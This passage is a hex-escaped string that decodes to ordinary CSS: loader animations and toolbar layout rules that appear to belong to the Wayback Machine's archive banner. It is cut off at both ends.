x31\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x37\x31\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x37\x31\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x37\x31\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x37\x7b\x6c\x65\x66\x74\x3a\x31\x38\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x39\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x39\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x39\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x39\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x39\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x38\x7b\x6c\x65\x66\x74\x3a\x32\x31\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x32\x2e\x30\x39\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x32\x2e\x30\x39\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x32\x2e\x30\x39\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x32\x2e\x30\x39\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x32\x2e\x30\x39\x73\x7d\x40\x2d\x6d\x6f\x7a\x2d\x6b\x65\x79\x66\x72\x61\x6d\x65\x73\x20\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x30\x25\x7b\x2d\x6d\x6f\x7a\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x31\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x7d\x31\x30\x30\x25\x7b\x2d\x6d\x6f\x7a\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x20\x72\x6f\x74\x61\x74\x65\x28\x39\x30\x64\x65\x67\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x46\x46\x46\x7d\x7d\x40\x2d\x77\x65\x62\x6b\x69\x74\x2d\x6b\x65\x79\x66\x72\x61\x6d\x65\x73\x20\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x30\x25\x7b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x31\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x7d\x31\x30\x30\x25\x7b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x20\x72\x6f\x74\x61\x74\x65\x28\x39\x30\x64\x65\x67\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x46\x46\x46\x7d\x7d\x40\x2d\x6d\x73\x2d\x6b\x65\x79\x66\x72\x61\x6d\x65\x73\x20\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x30\x25\x7b\x2d\x6d\x73\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x31\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x7d\x31\x30\x30\x25\x7b\x2d\x6d\x73\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x20\x72\x6f\x74\x61\x74\x65\x28\x39\x30\x64\x65\x67\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x46\x46\x46\x7d\x7d\x40\x2d\x6f\x2d\x6b\x65\x79\x66\x72\x61\x6d\x65\x73\x20\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x30\x25\x7b\x2d\x6f\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x31\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x7d\x31\x30\x30\x25\x7b\x2d\x6f\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x20\x72\x6f\x74\x61\x74\x65\x28\x39\x30\x64\x65\x67\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x46\x46\x46\x7d\x7d\x40\x6b\x65\x79\x66\x72\x61\x6d\x65\x73\x20\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x30\x25\x7b\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x31\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x7d\x31\x30\x30\x25\x7b\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x20\x72\x6f\x74\x61\x74\x65\x28\x39\x30\x64\x65\x67\x29\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x46\x46\x46\x7d\x7d\x23\x77\x6d\x2d\x69\x70\x70\x7b\x6d\x69\x6e\x2d\x68\x65\x69\x67\x68\x74\x3a\x36\x35\x70\x78\x3b\x6c\x65\x66\x74\x3a\x30\x3b\x74\x6f\x70\x3a\x30\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x30\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x74\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x74\x3b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x31\x70\x78\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2a\x7b\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x4c\x75\x63\x69\x64\x61\x20\x47\x72\x61\x6e\x64\x65\x2c\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2c\x41\x72\x69\x61\x6c\x2c\x73\x61\x6e\x73\x2d\x73\x65\x72\x69\x66\x3b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x32\x70\x78\x3b\x6c\x69\x6e\x65\x2d\x68\x65\x69\x67\x68\x74\x3a\x31\x2e\x32\x3b\x6c\x65\x74\x74\x65\x72\x2d\x73\x70\x61\x63\x69\x6e\x67\x3a\x30\x3b\x77\x69\x64\x74\x68\x3a\x61\x75\x74\x6f\x3b\x68\x65\x69\x67\x68\x74\x3a\x61\x75\x74\x6f\x3b\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x30\x3b\x66\x6c\x6f\x61\x74\x3a\x6e\x6f\x6e\x65\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x6c\x65\x66\x74\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x64\x69\x76\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x62\x6c\x6f\x63\x6b\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x61\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x64\x69\x76\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x66\x6f\x72\x6d\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x64\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x72\x7b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x30\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x74\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x69\x6d\x61\x67\x65\x3a\x6e\x6f\x6e\x65\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x32\x31\x34\x37\x34\x38\x33\x36\x34\x30\x3b\x68\x65\x69\x67\x68\x74\x3a\x61\x75\x74\x6f\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x61\x62\x6c\x65\x7b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x62\x6f\x72\x64\x65\x72\x2d\x63\x6f\x6c\x6c\x61\x70\x73\x65\x3a\x63\x6f\x6c\x6c\x61\x70\x73\x65\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x3b\x77\x69\x64\x74\x68\x3a\x61\x75\x74\x6f\x3b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x69\x6e\x68\x65\x72\x69\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x66\x6f\x72\x6d\x20\x69\x6e\x70\x75\x74\x7b\x70\x61\x64\x64\x69\x6e\x67\x3a\x31\x70\x78\x3b\x68\x65\x69\x67\x68\x74\x3a\x61\x75\x74\x6f\x3b\x64\x69\x73\x70\x6c\x61\x79\x3a\x69\x6e\x6c\x69\x6e\x65\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x66\x66\x66\x3b\x62\x6f\x72\x64\x65\x72\x3a\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x36\x36\x36\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x66\x6f\x72\x6d\x20\x69\x6e\x70\x75\x74\x5b\x74\x79\x70\x65\x3d\x73\x75\x62\x6d\x69\x74\x5d\x7b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x20\x38\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x31\x70\x78\x20\x30\x20\x31\x70\x78\x20\x35\x70\x78\x20\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x77\x69\x64\x74\x68\x3a\x61\x75\x74\x6f\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x3a\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x30\x30\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x66\x66\x66\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x61\x3a\x68\x6f\x76\x65\x72\x7b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x75\x6e\x64\x65\x72\x6c\x69\x6e\x65\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x61\x2e\x77\x6d\x2d\x62\x74\x6e\x3a\x68\x6f\x76\x65\x72\x7b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x61\x2e\x77\x6d\x2d\x62\x74\x6e\x3a\x68\x6f\x76\x65\x72\x20\x73\x70\x61\x6e\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x69\x70\x70\x2d\x69\x6e\x73\x69\x64\x65\x7b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x20\x36\x70\x78\x3b\x62\x6f\x72\x64\x65\x72\x3a\x35\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x30\x30\x30\x3b\x62\x6f\x72\x64\x65\x72\x2d\x74\x6f\x70\x3a\x6e\x6f\x6e\x65\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x72\x67\x62\x61\x28\x32\x35\x35\x2c\x32\x35\x35\x2c\x32\x35\x35\x2c\x2e\x39\x29\x3b\x2d\x6d\x6f\x7a\x2d\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x31\x70\x78\x20\x31\x70\x78\x20\x34\x70\x78\x20\x23\x33\x33\x33\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x31\x70\x78\x20\x31\x70\x78\x20\x34\x70\x78\x20\x23\x33\x33\x33\x3b\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x31\x70\x78\x20\x31\x70\x78\x20\x34\x70\x78\x20\x23\x33\x33\x33\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x30\x20\x30\x20\x38\x70\x78\x20\x38\x70\x78\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x6c\x6f\x67\x6f\x7b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x20\x31\x30\x70\x78\x3b\x76\x65\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\x6d\x69\x64\x64\x6c\x65\x3b\x6d\x69\x6e\x2d\x77\x69\x64\x74\x68\x3a\x31\x31\x30\x70\x78\x3b\x77\x69\x64\x74\x68\x3a\x31\x35\x25\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x61\x62\x6c\x65\x20\x74\x72\x3a\x3a\x61\x66\x74\x65\x72\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x61\x62\x6c\x65\x20\x74\x72\x3a\x3a\x62\x65\x66\x6f\x72\x65\x7b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x3b\x68\x65\x69\x67\x68\x74\x3a\x61\x75\x74\x6f\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x74\x61\x62\x6c\x65\x2e\x63\x7b\x76\x65\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\x74\x6f\x70\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x34\x70\x78\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x64\x2e\x62\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x64\x2e\x66\x7b\x6f\x76\x65\x72\x66\x6c\x6f\x77\x3a\x76\x69\x73\x69\x62\x6c\x65\x3b\x76\x65\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\x6d\x69\x64\x64\x6c\x65\x3b\x77\x68\x69\x74\x65\x2d\x73\x70\x61\x63\x65\x3a\x6e\x6f\x77\x72\x61\x70\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x75\x7b\x70\x61\x64\x64\x69\x6e\x67\x3a\x33\x70\x78\x20\x30\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x7b\x70\x61\x64\x64\x69\x6e\x67\x2d\x6c\x65\x66\x74\x3a\x35\x70\x78\x3b\x76\x65\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x68\x3a\x62\x6f\x74\x74\x6f\x6d\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x61\x7b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x33\x33\x66\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x37\x30\x30\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x64\x2e\x62\x7b\x70\x61\x64\x64\x69\x6e\x67\x2d\x72\x69\x67\x68\x74\x3a\x36\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x72\x69\x67\x68\x74\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x39\x39\x61\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x64\x2e\x63\x7b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x30\x30\x30\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x30\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x37\x30\x30\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x7d\x23\x77\x6d\x2d\x69\x70\x70\x2e\x68\x69\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x64\x2e\x63\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x65\x63\x30\x30\x38\x63\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x64\x2e\x66\x7b\x70\x61\x64\x64\x69\x6e\x67\x2d\x6c\x65\x66\x74\x3a\x36\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x6c\x65\x66\x74\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x63\x6f\x6c\x6f\x72\x3a\x23\x39\x39\x61\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6b\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x73\x7b\x76\x65\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\x62\x6f\x74\x74\x6f\x6d\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x72\x2e\x6d\x20\x74\x64\x7b\x74\x65\x78\x74\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x75\x70\x70\x65\x72\x63\x61\x73\x65\x3b\x77\x68\x69\x74\x65\x2d\x73\x70\x61\x63\x65\x3a\x6e\x6f\x77\x72\x61\x70\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x32\x70\x78\x20\x30\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6b\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x6e\x20\x74\x72\x2e\x79\x20\x74\x64\x2c\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x73\x7b\x70\x61\x64\x64\x69\x6e\x67\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x32\x70\x78\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x73\x7b\x70\x61\x64\x64\x69\x6e\x67\x2d\x72\x69\x67\x68\x74\x3a\x35\x70\x78\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x6e\x61\x76\x2d\x63\x61\x70\x74\x75\x72\x65\x73\x7b\x77\x68\x69\x74\x65\x2d\x73\x70\x61\x63\x65\x3a\x6e\x6f\x77\x72\x61\x70\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x73\x20\x61\x2e\x74\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x33\x33\x66\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x37\x30\x30\x3b\x6c\x69\x6e\x65\x2d\x68\x65\x69\x67\x68\x74\x3a\x31\x2e\x38\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x63\x20\x74\x64\x2e\x73\x20\x64\x69\x76\x2e\x72\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x36\x36\x36\x3b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x39\x70\x78\x3b\x77\x68\x69\x74\x65\x2d\x73\x70\x61\x63\x65\x3a\x6e\x6f\x77\x72\x61\x70\x7d\x64\x69\x76\x23\x77\x6d\x2d\x69\x70\x70\x2d\x73\x70\x61\x72\x6b\x6c\x69\x6e\x65\x7b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x77\x68\x69\x74\x65\x2d\x73\x70\x61\x63\x65\x3a\x6e\x6f\x77\x72\x61\x70\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x66\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x63\x75\x72\x73\x6f\x72\x3a\x70\x6f\x69\x6e\x74\x65\x72\x3b\x6c\x69\x6e\x65\x2d\x68\x65\x69\x67\x68\x74\x3a\x2e\x39\x7d\x23\x73\x70\x61\x72\x6b\x6c\x69\x6e\x65\x49\x6d\x67\x49\x64\x2c\x23\x77\x6d\x2d\x73\x70\x61\x72\x6b\x6c\x69\x6e\x65\x2d\x63\x61\x6e\x76\x61\x73\x7b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x39\x30\x31\x32\x3b\x6d\x61\x78\x2d\x77\x69\x64\x74\x68\x3a\x6e\x6f\x6e\x65\x7d\x23\x77\x6d\x2d\x69\x70\x70\x2d\x73\x70\x61\x72\x6b\x6c\x69\x6e\x65\x20\x64\x69\x76\x2e\x79\x74\x7b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x61\x62\x73\x6f\x6c\x75\x74\x65\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x39\x30\x31\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x2d\x73\x70\x61\x72\x6b\x6c\x69\x6e\x65\x20\x64\x69\x76\x2e\x6d\x74\x7b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x61\x62\x73\x6f\x6c\x75\x74\x65\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x39\x30\x31\x33\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x65\x63\x30\x30\x38\x63\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x72\x7b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x2e\x72\x20\x61\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x33\x33\x66\x3b\x62\x6f\x72\x64\x65\x72\x3a\x6e\x6f\x6e\x65\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x74\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x72\x65\x70\x65\x61\x74\x3a\x6e\x6f\x2d\x72\x65\x70\x65\x61\x74\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x31\x30\x30\x25\x20\x31\x30\x30\x25\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x7d\x23\x77\x6d\x2d\x69\x70\x70\x20\x23\x77\x6d\x2d\x63\x61\x70\x69\x6e\x66\x6f\x20\x2e\x63\x2d\x6c\x6f\x67\x6f\x7b\x64\x69\x73\x70\x6c\x61\x79\x3a\x62\x6c\x6f\x63\x6b\x3b\x66\x6c\x6f\x61\x74\x3a\x6c\x65\x66\x74\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x33\x70\x78\x3b\x77\x69\x64\x74\x68\x3a\x39\x30\x70\x78\x3b\x6d\x69\x6e\x2d\x68\x65\x69\x67\x68\x74\x3a\x39\x30\x70\x78\x3b\x6d\x61\x78\x2d\x68\x65\x69\x67\x68\x74\x3a\x32\x39\x30\x70\x78\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x34\x35\x70\x78\x3b\x6f\x76\x65\x72\x66\x6c\x6f\x77\x3a\x68\x69\x64\x64\x65\x6e\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x35\x30\x25\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x73\x69\x7a\x65\x3a\x61\x7